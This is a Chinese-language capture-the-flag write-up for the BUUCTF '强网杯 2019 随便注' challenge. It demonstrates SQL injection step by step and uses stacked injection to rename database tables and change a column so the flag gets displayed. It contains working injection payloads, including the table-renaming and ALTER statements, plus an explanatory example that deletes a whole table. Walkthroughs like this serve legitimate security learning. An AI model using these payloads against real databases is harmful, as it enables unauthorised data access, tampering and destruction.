随便注1"/>
web buuctf [强网杯 2019]随便注1
1.简单注入
随便填个 1
2.输入 1'
再尝试输入 1' #
有输出,证明确实存在sql注入;
3.常用注入
a. 1' or 1=1;#
b.依次试1' order by 1;#
依次试1' order by 2;#
1' order by 3;#
证明只有两个字段;
4.利用 union select 进行联合查询
1’ union select 1,2;#
正则表达式,难搞哦
5.利用堆叠注入
堆叠注入原理:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
a.1' ; show databases;# //查看数据库
b. 1' ; show tables ;#
c.存在两个表,需要逐一进行分析
1' ; show columns from `1919810931114514`;#
(注意表名前后的`符号,我打了好久才知道这个符号,在TAB键上面切成英文可以打出来,加在表名前后
【`】是国际标准万国码的全形抑音符(全宽重音符号)
英文名为【FULLWIDTH GRAVE ACCENT】。位于万国码uFF40。
`通常用来说明其中的内容是数据库名、表名、字段名,所有的数据库都有类似的设置,不过Mysql用的是`)
1' ; show columns from words;#
可以看到words表里有两个属性,即两列:id 和data
而1919810931114514表里只有一个属性列
说明输入框可能查询的就是words表
(后台sql语句可能为 select id,data from words where id=)
接下来就是如何获取flag了
把1919810931114514表改名为words表,把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
在这之前当然要先把words表改名为其他
payload:
1';rename table `words` to words2;
rename table `1919810931114514` to `words`;
alter table words change flag id varchar(100);#
我们先把该sql传到靶机上,更改靶机数据库信息
再查询表名
表名已经改过来了;
原表也更改了;
最后输出语句:1' or 1=1;#
得出flag.
更多推荐
web buuctf [强网杯 2019]随便注1
发布评论